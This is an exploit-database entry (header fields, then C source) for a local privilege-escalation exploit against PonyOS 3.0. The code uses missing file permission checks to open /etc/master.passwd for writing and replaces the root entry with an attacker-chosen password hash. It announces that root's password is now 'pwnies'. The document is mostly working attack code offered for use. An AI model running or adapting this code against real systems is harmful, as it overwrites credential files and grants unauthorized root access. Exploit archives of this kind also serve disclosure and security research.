PonyOS 3.0 VFS Privilege Escalation

# Exploit Title: PonyOS <= 3.0 VFS permissions exploit
# Google Dork: [if applicable]
# Date: 29th May 2015
# Exploit Author: Hacker Fantastic
# Vendor Homepage: www.ponyos.org
# Software Link: [download link if available]
# Version: 3.0
# Tested on: 3.0
# CVE : N/A
 
# Source: https://github.com/HackerFantastic/Public/blob/master/exploits/rarity.c
 
/* MyLittleUnix <= 3.0 VFS permissions root exploit 
   ================================================
   File permissions are not checked, we can abuse 
   this to replace the root user password with our
   own and escalate our privileges. This exploit 
   now 20% cooler and tested on latest 3.0 mlp OS.
 
   -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
 
char* pwnystr = "root:07821d2459368443042007bf1c7cdf3c55284"
        "29a65f8f10ce388d301b47865a283147bfd290545b"
        "0b9b12ae622a8eb359497cb3635506f99d2f5e4c4e"
        "594cadd:0:0:HackerFantastic:/home/root:/bi"
        "n/sh:fancy\n";
 
int main(){
    int fd, r;
    struct stat *fileinfo = malloc(sizeof(struct stat));
    char *buffer, *line, *filenm = "/etc/master.passwd";
    printf("[+] MyLittleUnix <=3.0 VFS permissions local root exploit\n");
    fd = open(filenm,O_RDWR);
    r = stat(filenm,fileinfo);
    buffer = malloc((uint)fileinfo->st_size);
    if(buffer){
        read(fd,buffer,fileinfo->st_size);
    }
    else{
        printf("[!] No pwn for you pwnie\n");
        exit(0);
    }
    lseek(fd,0,SEEK_SET);
    line = strtok(buffer,"\n");
    while(line){
        if(strstr(line,"root:")){
            write(fd,pwnystr,strlen(pwnystr));
        }
        else{
            write(fd,line,strlen(line));
            write(fd,"\n",strlen("\n"));
        }
        line = strtok(NULL,"\n");
    }
    close(fd);
    printf("[-] 20percent COOLER! user 'root' password is 'pwnies'\n");
    exit(0);
}